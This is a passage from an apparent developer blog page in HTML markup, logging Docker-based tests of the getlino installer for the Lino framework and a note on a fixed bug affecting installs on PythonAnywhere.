&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;034&lt;/span&gt;&lt;span class="n"&gt;fa1f395&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="n"&gt;postgresql&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;121&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ne"&gt;ResourceWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unclosed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AddressFamily&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2049&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raddr&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;policy&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;034&lt;/span&gt;&lt;span class="n"&gt;fa1f395&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;startsite&lt;/span&gt; &lt;span class="n"&gt;cosi&lt;/span&gt; &lt;span class="n"&gt;cosi1&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino xl cosi&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;034&lt;/span&gt;&lt;span class="n"&gt;fa1f395&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;startsite&lt;/span&gt; &lt;span class="n"&gt;noi&lt;/span&gt; &lt;span class="n"&gt;noi1&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino xl noi&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;034&lt;/span&gt;&lt;span class="n"&gt;fa1f395&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;startsite&lt;/span&gt; &lt;span class="n"&gt;avanti&lt;/span&gt; &lt;span class="n"&gt;avanti1&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino xl avanti&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b44af9bff&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ls&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;structures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ne"&gt;ResourceWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unclosed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AddressFamily&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2049&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raddr&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OrderedDict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;structures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ne"&gt;ResourceWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unclosed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AddressFamily&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2049&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raddr&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OrderedDict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;virtualenvs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.6&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;site&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;structures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="ne"&gt;ResourceWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;unclosed&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;family&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;AddressFamily&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_UNIX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2049&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;proto&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raddr&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_store&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OrderedDict&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b44af9bff&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;mkdir&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b44af9bff&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cd&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;chown&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;chmod&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;ws&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;virtualenv&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="n"&gt;python3&lt;/span&gt; &lt;span class="n"&gt;master&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b44af9bff&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;pip3&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b44af9bff&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ls&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;=====&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;b44af9bff&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;configure&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;monit&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I guess that &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt; &lt;span class="pre"&gt;--batch&lt;/span&gt; &lt;span class="pre"&gt;--monit&lt;/span&gt;&lt;/code&gt; is asking some user
input (maybe because monit package is being installed?). Question: how can I see
what’s going on?&lt;/p&gt;
&lt;p&gt;It seems that the problem is gone when calling exec_run() with tty=True and
stdin=True.  Don’t ask me why. It was an intuitive guess after surfing around.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="run-lino-on-pythonanywhere"&gt;
&lt;h2&gt;Run Lino on PythonAnywhere&lt;a class="headerlink" href="#run-lino-on-pythonanywhere" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ virtualenv -p python3 env
$ . env/bin/activate
$ pip install getlino
$ sudo getlino configure
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Aha, there is no sudo on PythonAnywhere.&lt;/p&gt;
&lt;p&gt;Fixed a bug in &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;: local-prefix was root_only, which caused
configure to fail when not run as root.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
